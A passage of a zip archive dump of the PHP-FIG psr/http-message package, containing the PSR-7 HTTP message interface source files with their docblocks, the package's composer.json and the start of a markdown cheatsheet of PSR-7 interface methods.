     * structured data, and, as such, this method ONLY accepts arrays or objects,
     * or a null value if nothing was available to parse.
     *
     * As an example, if content negotiation determines that the request data
     * is a JSON payload, this method could be used to create a request
     * instance with the deserialized parameters.
     *
     * This method MUST be implemented in such a way as to retain the
     * immutability of the message, and MUST return an instance that has the
     * updated body parameters.
     *
     * @param null|array|object $data The deserialized body data. This will
     *     typically be in an array or object.
     * @return static
     * @throws \InvalidArgumentException if an unsupported argument type is
     *     provided.
     */
    public function withParsedBody($data): ServerRequestInterface;

    /**
     * Retrieve attributes derived from the request.
     *
     * The request "attributes" may be used to allow injection of any
     * parameters derived from the request: e.g., the results of path
     * match operations; the results of decrypting cookies; the results of
     * deserializing non-form-encoded message bodies; etc. Attributes
     * will be application and request specific, and CAN be mutable.
     *
     * @return array Attributes derived from the request.
     */
    public function getAttributes(): array;

    /**
     * Retrieve a single derived request attribute.
     *
     * Retrieves a single derived request attribute as described in
     * getAttributes(). If the attribute has not been previously set, returns
     * the default value as provided.
     *
     * This method obviates the need for a hasAttribute() method, as it allows
     * specifying a default value to return if the attribute is not found.
     *
     * @see getAttributes()
     * @param string $name The attribute name.
     * @param mixed $default Default value to return if the attribute does not exist.
     * @return mixed
     */
    public function getAttribute(string $name, $default = null);

    /**
     * Return an instance with the specified derived request attribute.
     *
     * This method allows setting a single derived request attribute as
     * described in getAttributes().
     *
     * This method MUST be implemented in such a way as to retain the
     * immutability of the message, and MUST return an instance that has the
     * updated attribute.
     *
     * @see getAttributes()
     * @param string $name The attribute name.
     * @param mixed $value The value of the attribute.
     * @return static
     */
    public function withAttribute(string $name, $value): ServerRequestInterface;

    /**
     * Return an instance that removes the specified derived request attribute.
     *
     * This method allows removing a single derived request attribute as
     * described in getAttributes().
     *
     * This method MUST be implemented in such a way as to retain the
     * immutability of the message, and MUST return an instance that removes
     * the attribute.
     *
     * @see getAttributes()
     * @param string $name The attribute name.
     * @return static
     */
    public function withoutAttribute(string $name): ServerRequestInterface;
}
PK
h�\�_8�770vendor/psr/http-message/src/RequestInterface.phpnu�[���<?php

namespace Psr\Http\Message;

/**
 * Representation of an outgoing, client-side request.
 *
 * Per the HTTP specification, this interface includes properties for
 * each of the following:
 *
 * - Protocol version
 * - HTTP method
 * - URI
 * - Headers
 * - Message body
 *
 * During construction, implementations MUST attempt to set the Host header from
 * a provided URI if no Host header is provided.
 *
 * Requests are considered immutable; all methods that might change state MUST
 * be implemented such that they retain the internal state of the current
 * message and return an instance that contains the changed state.
 */
interface RequestInterface extends MessageInterface
{
    /**
     * Retrieves the message's request target.
     *
     * Retrieves the message's request-target either as it will appear (for
     * clients), as it appeared at request (for servers), or as it was
     * specified for the instance (see withRequestTarget()).
     *
     * In most cases, this will be the origin-form of the composed URI,
     * unless a value was provided to the concrete implementation (see
     * withRequestTarget() below).
     *
     * If no URI is available, and no request-target has been specifically
     * provided, this method MUST return the string "/".
     *
     * @return string
     */
    public function getRequestTarget(): string;

    /**
     * Return an instance with the specific request-target.
     *
     * If the request needs a non-origin-form request-target — e.g., for
     * specifying an absolute-form, authority-form, or asterisk-form —
     * this method may be used to create an instance with the specified
     * request-target, verbatim.
     *
     * This method MUST be implemented in such a way as to retain the
     * immutability of the message, and MUST return an instance that has the
     * changed request target.
     *
     * @link http://tools.ietf.org/html/rfc7230#section-5.3 (for the various
     *     request-target forms allowed in request messages)
     * @param string $requestTarget
     * @return static
     */
    public function withRequestTarget(string $requestTarget): RequestInterface;


    /**
     * Retrieves the HTTP method of the request.
     *
     * @return string Returns the request method.
     */
    public function getMethod(): string;

    /**
     * Return an instance with the provided HTTP method.
     *
     * While HTTP method names are typically all uppercase characters, HTTP
     * method names are case-sensitive and thus implementations SHOULD NOT
     * modify the given string.
     *
     * This method MUST be implemented in such a way as to retain the
     * immutability of the message, and MUST return an instance that has the
     * changed request method.
     *
     * @param string $method Case-sensitive method.
     * @return static
     * @throws \InvalidArgumentException for invalid HTTP methods.
     */
    public function withMethod(string $method): RequestInterface;

    /**
     * Retrieves the URI instance.
     *
     * This method MUST return a UriInterface instance.
     *
     * @link http://tools.ietf.org/html/rfc3986#section-4.3
     * @return UriInterface Returns a UriInterface instance
     *     representing the URI of the request.
     */
    public function getUri(): UriInterface;

    /**
     * Returns an instance with the provided URI.
     *
     * This method MUST update the Host header of the returned request by
     * default if the URI contains a host component. If the URI does not
     * contain a host component, any pre-existing Host header MUST be carried
     * over to the returned request.
     *
     * You can opt-in to preserving the original state of the Host header by
     * setting `$preserveHost` to `true`. When `$preserveHost` is set to
     * `true`, this method interacts with the Host header in the following ways:
     *
     * - If the Host header is missing or empty, and the new URI contains
     *   a host component, this method MUST update the Host header in the returned
     *   request.
     * - If the Host header is missing or empty, and the new URI does not contain a
     *   host component, this method MUST NOT update the Host header in the returned
     *   request.
     * - If a Host header is present and non-empty, this method MUST NOT update
     *   the Host header in the returned request.
     *
     * This method MUST be implemented in such a way as to retain the
     * immutability of the message, and MUST return an instance that has the
     * new UriInterface instance.
     *
     * @link http://tools.ietf.org/html/rfc3986#section-4.3
     * @param UriInterface $uri New request URI to use.
     * @param bool $preserveHost Preserve the original state of the Host header.
     * @return static
     */
    public function withUri(UriInterface $uri, bool $preserveHost = false): RequestInterface;
}
PK
h�\Z�݌�5vendor/psr/http-message/src/UploadedFileInterface.phpnu�[���<?php

namespace Psr\Http\Message;

/**
 * Value object representing a file uploaded through an HTTP request.
 *
 * Instances of this interface are considered immutable; all methods that
 * might change state MUST be implemented such that they retain the internal
 * state of the current instance and return an instance that contains the
 * changed state.
 */
interface UploadedFileInterface
{
    /**
     * Retrieve a stream representing the uploaded file.
     *
     * This method MUST return a StreamInterface instance, representing the
     * uploaded file. The purpose of this method is to allow utilizing native PHP
     * stream functionality to manipulate the file upload, such as
     * stream_copy_to_stream() (though the result will need to be decorated in a
     * native PHP stream wrapper to work with such functions).
     *
     * If the moveTo() method has been called previously, this method MUST raise
     * an exception.
     *
     * @return StreamInterface Stream representation of the uploaded file.
     * @throws \RuntimeException in cases when no stream is available or can be
     *     created.
     */
    public function getStream(): StreamInterface;

    /**
     * Move the uploaded file to a new location.
     *
     * Use this method as an alternative to move_uploaded_file(). This method is
     * guaranteed to work in both SAPI and non-SAPI environments.
     * Implementations must determine which environment they are in, and use the
     * appropriate method (move_uploaded_file(), rename(), or a stream
     * operation) to perform the operation.
     *
     * $targetPath may be an absolute path, or a relative path. If it is a
     * relative path, resolution should be the same as used by PHP's rename()
     * function.
     *
     * The original file or stream MUST be removed on completion.
     *
     * If this method is called more than once, any subsequent calls MUST raise
     * an exception.
     *
     * When used in an SAPI environment where $_FILES is populated, when writing
     * files via moveTo(), is_uploaded_file() and move_uploaded_file() SHOULD be
     * used to ensure permissions and upload status are verified correctly.
     *
     * If you wish to move to a stream, use getStream(), as SAPI operations
     * cannot guarantee writing to stream destinations.
     *
     * @see http://php.net/is_uploaded_file
     * @see http://php.net/move_uploaded_file
     * @param string $targetPath Path to which to move the uploaded file.
     * @throws \InvalidArgumentException if the $targetPath specified is invalid.
     * @throws \RuntimeException on any error during the move operation, or on
     *     the second or subsequent call to the method.
     */
    public function moveTo(string $targetPath): void;
    
    /**
     * Retrieve the file size.
     *
     * Implementations SHOULD return the value stored in the "size" key of
     * the file in the $_FILES array if available, as PHP calculates this based
     * on the actual size transmitted.
     *
     * @return int|null The file size in bytes or null if unknown.
     */
    public function getSize(): ?int;
    
    /**
     * Retrieve the error associated with the uploaded file.
     *
     * The return value MUST be one of PHP's UPLOAD_ERR_XXX constants.
     *
     * If the file was uploaded successfully, this method MUST return
     * UPLOAD_ERR_OK.
     *
     * Implementations SHOULD return the value stored in the "error" key of
     * the file in the $_FILES array.
     *
     * @see http://php.net/manual/en/features.file-upload.errors.php
     * @return int One of PHP's UPLOAD_ERR_XXX constants.
     */
    public function getError(): int;
    
    /**
     * Retrieve the filename sent by the client.
     *
     * Do not trust the value returned by this method. A client could send
     * a malicious filename with the intention to corrupt or hack your
     * application.
     *
     * Implementations SHOULD return the value stored in the "name" key of
     * the file in the $_FILES array.
     *
     * @return string|null The filename sent by the client or null if none
     *     was provided.
     */
    public function getClientFilename(): ?string;
    
    /**
     * Retrieve the media type sent by the client.
     *
     * Do not trust the value returned by this method. A client could send
     * a malicious media type with the intention to corrupt or hack your
     * application.
     *
     * Implementations SHOULD return the value stored in the "type" key of
     * the file in the $_FILES array.
     *
     * @return string|null The media type sent by the client or null if none
     *     was provided.
     */
    public function getClientMediaType(): ?string;
}
PK
h�\o��22,vendor/psr/http-message/src/UriInterface.phpnu�[���<?php

namespace Psr\Http\Message;

/**
 * Value object representing a URI.
 *
 * This interface is meant to represent URIs according to RFC 3986 and to
 * provide methods for most common operations. Additional functionality for
 * working with URIs can be provided on top of the interface or externally.
 * Its primary use is for HTTP requests, but may also be used in other
 * contexts.
 *
 * Instances of this interface are considered immutable; all methods that
 * might change state MUST be implemented such that they retain the internal
 * state of the current instance and return an instance that contains the
 * changed state.
 *
 * Typically the Host header will be also be present in the request message.
 * For server-side requests, the scheme will typically be discoverable in the
 * server parameters.
 *
 * @link http://tools.ietf.org/html/rfc3986 (the URI specification)
 */
interface UriInterface
{
    /**
     * Retrieve the scheme component of the URI.
     *
     * If no scheme is present, this method MUST return an empty string.
     *
     * The value returned MUST be normalized to lowercase, per RFC 3986
     * Section 3.1.
     *
     * The trailing ":" character is not part of the scheme and MUST NOT be
     * added.
     *
     * @see https://tools.ietf.org/html/rfc3986#section-3.1
     * @return string The URI scheme.
     */
    public function getScheme(): string;

    /**
     * Retrieve the authority component of the URI.
     *
     * If no authority information is present, this method MUST return an empty
     * string.
     *
     * The authority syntax of the URI is:
     *
     * <pre>
     * [user-info@]host[:port]
     * </pre>
     *
     * If the port component is not set or is the standard port for the current
     * scheme, it SHOULD NOT be included.
     *
     * @see https://tools.ietf.org/html/rfc3986#section-3.2
     * @return string The URI authority, in "[user-info@]host[:port]" format.
     */
    public function getAuthority(): string;

    /**
     * Retrieve the user information component of the URI.
     *
     * If no user information is present, this method MUST return an empty
     * string.
     *
     * If a user is present in the URI, this will return that value;
     * additionally, if the password is also present, it will be appended to the
     * user value, with a colon (":") separating the values.
     *
     * The trailing "@" character is not part of the user information and MUST
     * NOT be added.
     *
     * @return string The URI user information, in "username[:password]" format.
     */
    public function getUserInfo(): string;

    /**
     * Retrieve the host component of the URI.
     *
     * If no host is present, this method MUST return an empty string.
     *
     * The value returned MUST be normalized to lowercase, per RFC 3986
     * Section 3.2.2.
     *
     * @see http://tools.ietf.org/html/rfc3986#section-3.2.2
     * @return string The URI host.
     */
    public function getHost(): string;

    /**
     * Retrieve the port component of the URI.
     *
     * If a port is present, and it is non-standard for the current scheme,
     * this method MUST return it as an integer. If the port is the standard port
     * used with the current scheme, this method SHOULD return null.
     *
     * If no port is present, and no scheme is present, this method MUST return
     * a null value.
     *
     * If no port is present, but a scheme is present, this method MAY return
     * the standard port for that scheme, but SHOULD return null.
     *
     * @return null|int The URI port.
     */
    public function getPort(): ?int;

    /**
     * Retrieve the path component of the URI.
     *
     * The path can either be empty or absolute (starting with a slash) or
     * rootless (not starting with a slash). Implementations MUST support all
     * three syntaxes.
     *
     * Normally, the empty path "" and absolute path "/" are considered equal as
     * defined in RFC 7230 Section 2.7.3. But this method MUST NOT automatically
     * do this normalization because in contexts with a trimmed base path, e.g.
     * the front controller, this difference becomes significant. It's the task
     * of the user to handle both "" and "/".
     *
     * The value returned MUST be percent-encoded, but MUST NOT double-encode
     * any characters. To determine what characters to encode, please refer to
     * RFC 3986, Sections 2 and 3.3.
     *
     * As an example, if the value should include a slash ("/") not intended as
     * delimiter between path segments, that value MUST be passed in encoded
     * form (e.g., "%2F") to the instance.
     *
     * @see https://tools.ietf.org/html/rfc3986#section-2
     * @see https://tools.ietf.org/html/rfc3986#section-3.3
     * @return string The URI path.
     */
    public function getPath(): string;

    /**
     * Retrieve the query string of the URI.
     *
     * If no query string is present, this method MUST return an empty string.
     *
     * The leading "?" character is not part of the query and MUST NOT be
     * added.
     *
     * The value returned MUST be percent-encoded, but MUST NOT double-encode
     * any characters. To determine what characters to encode, please refer to
     * RFC 3986, Sections 2 and 3.4.
     *
     * As an example, if a value in a key/value pair of the query string should
     * include an ampersand ("&") not intended as a delimiter between values,
     * that value MUST be passed in encoded form (e.g., "%26") to the instance.
     *
     * @see https://tools.ietf.org/html/rfc3986#section-2
     * @see https://tools.ietf.org/html/rfc3986#section-3.4
     * @return string The URI query string.
     */
    public function getQuery(): string;

    /**
     * Retrieve the fragment component of the URI.
     *
     * If no fragment is present, this method MUST return an empty string.
     *
     * The leading "#" character is not part of the fragment and MUST NOT be
     * added.
     *
     * The value returned MUST be percent-encoded, but MUST NOT double-encode
     * any characters. To determine what characters to encode, please refer to
     * RFC 3986, Sections 2 and 3.5.
     *
     * @see https://tools.ietf.org/html/rfc3986#section-2
     * @see https://tools.ietf.org/html/rfc3986#section-3.5
     * @return string The URI fragment.
     */
    public function getFragment(): string;

    /**
     * Return an instance with the specified scheme.
     *
     * This method MUST retain the state of the current instance, and return
     * an instance that contains the specified scheme.
     *
     * Implementations MUST support the schemes "http" and "https" case
     * insensitively, and MAY accommodate other schemes if required.
     *
     * An empty scheme is equivalent to removing the scheme.
     *
     * @param string $scheme The scheme to use with the new instance.
     * @return static A new instance with the specified scheme.
     * @throws \InvalidArgumentException for invalid or unsupported schemes.
     */
    public function withScheme(string $scheme): UriInterface;

    /**
     * Return an instance with the specified user information.
     *
     * This method MUST retain the state of the current instance, and return
     * an instance that contains the specified user information.
     *
     * Password is optional, but the user information MUST include the
     * user; an empty string for the user is equivalent to removing user
     * information.
     *
     * @param string $user The user name to use for authority.
     * @param null|string $password The password associated with $user.
     * @return static A new instance with the specified user information.
     */
    public function withUserInfo(string $user, ?string $password = null): UriInterface;

    /**
     * Return an instance with the specified host.
     *
     * This method MUST retain the state of the current instance, and return
     * an instance that contains the specified host.
     *
     * An empty host value is equivalent to removing the host.
     *
     * @param string $host The hostname to use with the new instance.
     * @return static A new instance with the specified host.
     * @throws \InvalidArgumentException for invalid hostnames.
     */
    public function withHost(string $host): UriInterface;

    /**
     * Return an instance with the specified port.
     *
     * This method MUST retain the state of the current instance, and return
     * an instance that contains the specified port.
     *
     * Implementations MUST raise an exception for ports outside the
     * established TCP and UDP port ranges.
     *
     * A null value provided for the port is equivalent to removing the port
     * information.
     *
     * @param null|int $port The port to use with the new instance; a null value
     *     removes the port information.
     * @return static A new instance with the specified port.
     * @throws \InvalidArgumentException for invalid ports.
     */
    public function withPort(?int $port): UriInterface;

    /**
     * Return an instance with the specified path.
     *
     * This method MUST retain the state of the current instance, and return
     * an instance that contains the specified path.
     *
     * The path can either be empty or absolute (starting with a slash) or
     * rootless (not starting with a slash). Implementations MUST support all
     * three syntaxes.
     *
     * If the path is intended to be domain-relative rather than path relative then
     * it must begin with a slash ("/"). Paths not starting with a slash ("/")
     * are assumed to be relative to some base path known to the application or
     * consumer.
     *
     * Users can provide both encoded and decoded path characters.
     * Implementations ensure the correct encoding as outlined in getPath().
     *
     * @param string $path The path to use with the new instance.
     * @return static A new instance with the specified path.
     * @throws \InvalidArgumentException for invalid paths.
     */
    public function withPath(string $path): UriInterface;

    /**
     * Return an instance with the specified query string.
     *
     * This method MUST retain the state of the current instance, and return
     * an instance that contains the specified query string.
     *
     * Users can provide both encoded and decoded query characters.
     * Implementations ensure the correct encoding as outlined in getQuery().
     *
     * An empty query string value is equivalent to removing the query string.
     *
     * @param string $query The query string to use with the new instance.
     * @return static A new instance with the specified query string.
     * @throws \InvalidArgumentException for invalid query strings.
     */
    public function withQuery(string $query): UriInterface;

    /**
     * Return an instance with the specified URI fragment.
     *
     * This method MUST retain the state of the current instance, and return
     * an instance that contains the specified URI fragment.
     *
     * Users can provide both encoded and decoded fragment characters.
     * Implementations ensure the correct encoding as outlined in getFragment().
     *
     * An empty fragment value is equivalent to removing the fragment.
     *
     * @param string $fragment The fragment to use with the new instance.
     * @return static A new instance with the specified fragment.
     */
    public function withFragment(string $fragment): UriInterface;

    /**
     * Return the string representation as a URI reference.
     *
     * Depending on which components of the URI are present, the resulting
     * string is either a full URI or relative reference according to RFC 3986,
     * Section 4.1. The method concatenates the various components of the URI,
     * using the appropriate delimiters:
     *
     * - If a scheme is present, it MUST be suffixed by ":".
     * - If an authority is present, it MUST be prefixed by "//".
     * - The path can be concatenated without delimiters. But there are two
     *   cases where the path has to be adjusted to make the URI reference
     *   valid as PHP does not allow to throw an exception in __toString():
     *     - If the path is rootless and an authority is present, the path MUST
     *       be prefixed by "/".
     *     - If the path is starting with more than one "/" and no authority is
     *       present, the starting slashes MUST be reduced to one.
     * - If a query is present, it MUST be prefixed by "?".
     * - If a fragment is present, it MUST be prefixed by "#".
     *
     * @see http://tools.ietf.org/html/rfc3986#section-4.1
     * @return string
     */
    public function __toString(): string;
}
PK
h�\?����0vendor/psr/http-message/src/MessageInterface.phpnu�[���<?php

namespace Psr\Http\Message;

/**
 * HTTP messages consist of requests from a client to a server and responses
 * from a server to a client. This interface defines the methods common to
 * each.
 *
 * Messages are considered immutable; all methods that might change state MUST
 * be implemented such that they retain the internal state of the current
 * message and return an instance that contains the changed state.
 *
 * @link http://www.ietf.org/rfc/rfc7230.txt
 * @link http://www.ietf.org/rfc/rfc7231.txt
 */
interface MessageInterface
{
    /**
     * Retrieves the HTTP protocol version as a string.
     *
     * The string MUST contain only the HTTP version number (e.g., "1.1", "1.0").
     *
     * @return string HTTP protocol version.
     */
    public function getProtocolVersion(): string;

    /**
     * Return an instance with the specified HTTP protocol version.
     *
     * The version string MUST contain only the HTTP version number (e.g.,
     * "1.1", "1.0").
     *
     * This method MUST be implemented in such a way as to retain the
     * immutability of the message, and MUST return an instance that has the
     * new protocol version.
     *
     * @param string $version HTTP protocol version
     * @return static
     */
    public function withProtocolVersion(string $version): MessageInterface;

    /**
     * Retrieves all message header values.
     *
     * The keys represent the header name as it will be sent over the wire, and
     * each value is an array of strings associated with the header.
     *
     *     // Represent the headers as a string
     *     foreach ($message->getHeaders() as $name => $values) {
     *         echo $name . ": " . implode(", ", $values);
     *     }
     *
     *     // Emit headers iteratively:
     *     foreach ($message->getHeaders() as $name => $values) {
     *         foreach ($values as $value) {
     *             header(sprintf('%s: %s', $name, $value), false);
     *         }
     *     }
     *
     * While header names are not case-sensitive, getHeaders() will preserve the
     * exact case in which headers were originally specified.
     *
     * @return string[][] Returns an associative array of the message's headers. Each
     *     key MUST be a header name, and each value MUST be an array of strings
     *     for that header.
     */
    public function getHeaders(): array;

    /**
     * Checks if a header exists by the given case-insensitive name.
     *
     * @param string $name Case-insensitive header field name.
     * @return bool Returns true if any header names match the given header
     *     name using a case-insensitive string comparison. Returns false if
     *     no matching header name is found in the message.
     */
    public function hasHeader(string $name): bool;

    /**
     * Retrieves a message header value by the given case-insensitive name.
     *
     * This method returns an array of all the header values of the given
     * case-insensitive header name.
     *
     * If the header does not appear in the message, this method MUST return an
     * empty array.
     *
     * @param string $name Case-insensitive header field name.
     * @return string[] An array of string values as provided for the given
     *    header. If the header does not appear in the message, this method MUST
     *    return an empty array.
     */
    public function getHeader(string $name): array;

    /**
     * Retrieves a comma-separated string of the values for a single header.
     *
     * This method returns all of the header values of the given
     * case-insensitive header name as a string concatenated together using
     * a comma.
     *
     * NOTE: Not all header values may be appropriately represented using
     * comma concatenation. For such headers, use getHeader() instead
     * and supply your own delimiter when concatenating.
     *
     * If the header does not appear in the message, this method MUST return
     * an empty string.
     *
     * @param string $name Case-insensitive header field name.
     * @return string A string of values as provided for the given header
     *    concatenated together using a comma. If the header does not appear in
     *    the message, this method MUST return an empty string.
     */
    public function getHeaderLine(string $name): string;

    /**
     * Return an instance with the provided value replacing the specified header.
     *
     * While header names are case-insensitive, the casing of the header will
     * be preserved by this function, and returned from getHeaders().
     *
     * This method MUST be implemented in such a way as to retain the
     * immutability of the message, and MUST return an instance that has the
     * new and/or updated header and value.
     *
     * @param string $name Case-insensitive header field name.
     * @param string|string[] $value Header value(s).
     * @return static
     * @throws \InvalidArgumentException for invalid header names or values.
     */
    public function withHeader(string $name, $value): MessageInterface;

    /**
     * Return an instance with the specified header appended with the given value.
     *
     * Existing values for the specified header will be maintained. The new
     * value(s) will be appended to the existing list. If the header did not
     * exist previously, it will be added.
     *
     * This method MUST be implemented in such a way as to retain the
     * immutability of the message, and MUST return an instance that has the
     * new header and/or value.
     *
     * @param string $name Case-insensitive header field name to add.
     * @param string|string[] $value Header value(s).
     * @return static
     * @throws \InvalidArgumentException for invalid header names or values.
     */
    public function withAddedHeader(string $name, $value): MessageInterface;

    /**
     * Return an instance without the specified header.
     *
     * Header resolution MUST be done without case-sensitivity.
     *
     * This method MUST be implemented in such a way as to retain the
     * immutability of the message, and MUST return an instance that removes
     * the named header.
     *
     * @param string $name Case-insensitive header field name to remove.
     * @return static
     */
    public function withoutHeader(string $name): MessageInterface;

    /**
     * Gets the body of the message.
     *
     * @return StreamInterface Returns the body as a stream.
     */
    public function getBody(): StreamInterface;

    /**
     * Return an instance with the specified message body.
     *
     * The body MUST be a StreamInterface object.
     *
     * This method MUST be implemented in such a way as to retain the
     * immutability of the message, and MUST return a new instance that has the
     * new body stream.
     *
     * @param StreamInterface $body Body.
     * @return static
     * @throws \InvalidArgumentException When the body is not valid.
     */
    public function withBody(StreamInterface $body): MessageInterface;
}
PK
h�\bY6J
J
1vendor/psr/http-message/src/ResponseInterface.phpnu�[���<?php

namespace Psr\Http\Message;

/**
 * Representation of an outgoing, server-side response.
 *
 * Per the HTTP specification, this interface includes properties for
 * each of the following:
 *
 * - Protocol version
 * - Status code and reason phrase
 * - Headers
 * - Message body
 *
 * Responses are considered immutable; all methods that might change state MUST
 * be implemented such that they retain the internal state of the current
 * message and return an instance that contains the changed state.
 */
interface ResponseInterface extends MessageInterface
{
    /**
     * Gets the response status code.
     *
     * The status code is a 3-digit integer result code of the server's attempt
     * to understand and satisfy the request.
     *
     * @return int Status code.
     */
    public function getStatusCode(): int;

    /**
     * Return an instance with the specified status code and, optionally, reason phrase.
     *
     * If no reason phrase is specified, implementations MAY choose to default
     * to the RFC 7231 or IANA recommended reason phrase for the response's
     * status code.
     *
     * This method MUST be implemented in such a way as to retain the
     * immutability of the message, and MUST return an instance that has the
     * updated status and reason phrase.
     *
     * @link http://tools.ietf.org/html/rfc7231#section-6
     * @link http://www.iana.org/assignments/http-status-codes/http-status-codes.xhtml
     * @param int $code The 3-digit integer result code to set.
     * @param string $reasonPhrase The reason phrase to use with the
     *     provided status code; if none is provided, implementations MAY
     *     use the defaults as suggested in the HTTP specification.
     * @return static
     * @throws \InvalidArgumentException For invalid status code arguments.
     */
    public function withStatus(int $code, string $reasonPhrase = ''): ResponseInterface;

    /**
     * Gets the response reason phrase associated with the status code.
     *
     * Because a reason phrase is not a required element in a response
     * status line, the reason phrase value MAY be null. Implementations MAY
     * choose to return the default RFC 7231 recommended reason phrase (or those
     * listed in the IANA HTTP Status Code Registry) for the response's
     * status code.
     *
     * @link http://tools.ietf.org/html/rfc7231#section-6
     * @link http://www.iana.org/assignments/http-status-codes/http-status-codes.xhtml
     * @return string Reason phrase; must return an empty string if none present.
     */
    public function getReasonPhrase(): string;
}
PK
h�\жJ���/vendor/psr/http-message/src/StreamInterface.phpnu�[���<?php

namespace Psr\Http\Message;

/**
 * Describes a data stream.
 *
 * Typically, an instance will wrap a PHP stream; this interface provides
 * a wrapper around the most common operations, including serialization of
 * the entire stream to a string.
 */
interface StreamInterface
{
    /**
     * Reads all data from the stream into a string, from the beginning to end.
     *
     * This method MUST attempt to seek to the beginning of the stream before
     * reading data and read the stream until the end is reached.
     *
     * Warning: This could attempt to load a large amount of data into memory.
     *
     * This method MUST NOT raise an exception in order to conform with PHP's
     * string casting operations.
     *
     * @see http://php.net/manual/en/language.oop5.magic.php#object.tostring
     * @return string
     */
    public function __toString(): string;

    /**
     * Closes the stream and any underlying resources.
     *
     * @return void
     */
    public function close(): void;

    /**
     * Separates any underlying resources from the stream.
     *
     * After the stream has been detached, the stream is in an unusable state.
     *
     * @return resource|null Underlying PHP stream, if any
     */
    public function detach();

    /**
     * Get the size of the stream if known.
     *
     * @return int|null Returns the size in bytes if known, or null if unknown.
     */
    public function getSize(): ?int;

    /**
     * Returns the current position of the file read/write pointer
     *
     * @return int Position of the file pointer
     * @throws \RuntimeException on error.
     */
    public function tell(): int;

    /**
     * Returns true if the stream is at the end of the stream.
     *
     * @return bool
     */
    public function eof(): bool;

    /**
     * Returns whether or not the stream is seekable.
     *
     * @return bool
     */
    public function isSeekable(): bool;

    /**
     * Seek to a position in the stream.
     *
     * @link http://www.php.net/manual/en/function.fseek.php
     * @param int $offset Stream offset
     * @param int $whence Specifies how the cursor position will be calculated
     *     based on the seek offset. Valid values are identical to the built-in
     *     PHP $whence values for `fseek()`.  SEEK_SET: Set position equal to
     *     offset bytes SEEK_CUR: Set position to current location plus offset
     *     SEEK_END: Set position to end-of-stream plus offset.
     * @throws \RuntimeException on failure.
     */
    public function seek(int $offset, int $whence = SEEK_SET): void;

    /**
     * Seek to the beginning of the stream.
     *
     * If the stream is not seekable, this method will raise an exception;
     * otherwise, it will perform a seek(0).
     *
     * @see seek()
     * @link http://www.php.net/manual/en/function.fseek.php
     * @throws \RuntimeException on failure.
     */
    public function rewind(): void;

    /**
     * Returns whether or not the stream is writable.
     *
     * @return bool
     */
    public function isWritable(): bool;

    /**
     * Write data to the stream.
     *
     * @param string $string The string that is to be written.
     * @return int Returns the number of bytes written to the stream.
     * @throws \RuntimeException on failure.
     */
    public function write(string $string): int;

    /**
     * Returns whether or not the stream is readable.
     *
     * @return bool
     */
    public function isReadable(): bool;

    /**
     * Read data from the stream.
     *
     * @param int $length Read up to $length bytes from the object and return
     *     them. Fewer than $length bytes may be returned if underlying stream
     *     call returns fewer bytes.
     * @return string Returns the data read from the stream, or an empty string
     *     if no bytes are available.
     * @throws \RuntimeException if an error occurs.
     */
    public function read(int $length): string;

    /**
     * Returns the remaining contents in a string
     *
     * @return string
     * @throws \RuntimeException if unable to read or an error occurs while
     *     reading.
     */
    public function getContents(): string;

    /**
     * Get stream metadata as an associative array or retrieve a specific key.
     *
     * The keys returned are identical to the keys returned from PHP's
     * stream_get_meta_data() function.
     *
     * @link http://php.net/manual/en/function.stream-get-meta-data.php
     * @param string|null $key Specific metadata to retrieve.
     * @return array|mixed|null Returns an associative array if no key is
     *     provided. Returns a specific key value if a key is provided and the
     *     value is found, or null if the key is not found.
     */
    public function getMetadata(?string $key = null);
}
PK
h�\�Lo$ss%vendor/psr/http-message/composer.jsonnu�[���{
    "name": "psr/http-message",
    "description": "Common interface for HTTP messages",
    "keywords": ["psr", "psr-7", "http", "http-message", "request", "response"],
    "homepage": "https://github.com/php-fig/http-message",
    "license": "MIT",
    "authors": [
        {
            "name": "PHP-FIG",
            "homepage": "https://www.php-fig.org/"
        }
    ],
    "require": {
        "php": "^7.2 || ^8.0"
    },
    "autoload": {
        "psr-4": {
            "Psr\\Http\\Message\\": "src/"
        }
    },
    "extra": {
        "branch-alias": {
            "dev-master": "2.0.x-dev"
        }
    }
}
PK
h�\�6L%L%/vendor/psr/http-message/docs/PSR7-Interfaces.mdnu�[���# Interfaces

The purpose of this list is to help in finding the methods when working with PSR-7. This can be considered as a cheatsheet for PSR-7 interfaces.

The interfaces defined in PSR-7 are the following:

| Class Name | Description |
|---|---|
| [Psr\Http\Message\MessageInterface](http://www.php-fig.org/psr/psr-7/#psrhttpmessagemessageinterface) | Representation of a HTTP message |
| [Psr\Http\Message\RequestInterface](http://www.php-fig.org/psr/psr-7/#psrhttpmessagerequestinterface) | Representation of an outgoing, client-side request. |
| [Psr\Http\Message\ServerRequestInterface](http://www.php-fig.org/psr/psr-7/#psrhttpmessageserverrequestinterface) | Representation of an incoming, server-side HTTP request. | 
| [Psr\Http\Message\ResponseInterface](http://www.php-fig.org/psr/psr-7/#psrhttpmessageresponseinterface) | Representation of an outgoing, server-side response. |
| [Psr\Http\Message\StreamInterface](http://www.php-fig.org/psr/psr-7/#psrhttpmessagestreaminterface) | Describes a data stream |
| [Psr\Http\Message\UriInterface](http://www.php-fig.org/psr/psr-7/#psrhttpmessageuriinterface) | Value object representing a URI. |
| [Psr\Http\Message\UploadedFileInterface](http://www.php-fig.org/psr/psr-7/#psrhttpmessageuploadedfileinterface) | Value object representing a file uploaded through an HTTP request. |

## `Psr\Http\Message\MessageInterface` Methods

| Method Name                        | Description | Notes |
|------------------------------------| ----------- | ----- |
| `getProtocolVersion()`             | Retrieve HTTP protocol version          |  1.0 or 1.1 |
| `withProtocolVersion($version)`    | Returns new message instance with given HTTP protocol version          |      |
| `getHeaders()`                     | Retrieve all HTTP Headers               | [Request Header List](https://en.wikipedia.org/wiki/List_of_HTTP_header_fields#Request_fields), [Response Header List](https://en.wikipedia.org/wiki/List_of_HTTP_header_fields#Response_fields)      |
| `hasHeader($name)`                 | Checks if HTTP Header with given name exists  | |
| `getHeader($name)`                 | Retrieves a array with the values for a single header | |
| `getHeaderLine($name)`             | Retrieves a comma-separated string of the values for a single header |  |
| `withHeader($name, $value)`        | Returns new message instance with given HTTP Header | if the header existed in the original instance, replaces the header value from the original message with the value provided when creating the new instance. |
| `withAddedHeader($name, $value)`   | Returns new message instance with appended value to given header | If header already exists value will be appended, if not a new header will be created |
| `withoutHeader($name)`             | Removes HTTP Header with given name| |
| `getBody()`                        | Retrieves the HTTP Message Body | Returns object implementing `StreamInterface`|
| `withBody(StreamInterface $body)`  | Returns new message instance with given HTTP Message Body | |


## `Psr\Http\Message\RequestInterface` Methods

Same methods as `Psr\Http\Message\MessageInterface`  + the following methods:

| Method Name                        | Description | Notes |
